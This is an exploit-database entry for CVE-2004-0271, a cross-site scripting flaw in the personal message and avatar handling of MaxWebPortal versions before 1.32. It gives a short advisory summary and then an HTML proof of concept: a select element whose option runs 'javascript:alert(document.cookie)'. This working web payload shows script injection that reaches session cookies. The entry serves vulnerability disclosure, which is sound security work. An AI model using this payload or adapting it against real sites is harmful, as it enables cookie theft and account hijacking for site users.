Maxwebportal 1.3x - Personal Message 'SendTo' Cross-Site Scripting

Author: Manuel Lopez
type: webapps
platform: asp
port: 
date_added: 2004-02-10 
date_updated: 2012-12-26 
verified: 1 
codes: CVE-2004-0271;OSVDB-15225 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/9625/info

It has been reported that MaxWebPortal may be prone to multiple vulnerabilities due to insufficient sanitization of user-supplied input. The specific issues include cross-site scripting, HTML injection and SQL injection.

MaxWebPortal versions prior to 1.32 have been reported to be prone to these issues.

<select name="Avatar_URL" size="4" onChange ="if (CheckNav(3.0,4.0)) URL.src=form.Avatar_URL.options[form.Avatar_URL.options.selectedIndex].value;">
<option value="javascript:alert(document.cookie)">POC-Avatar</option></select>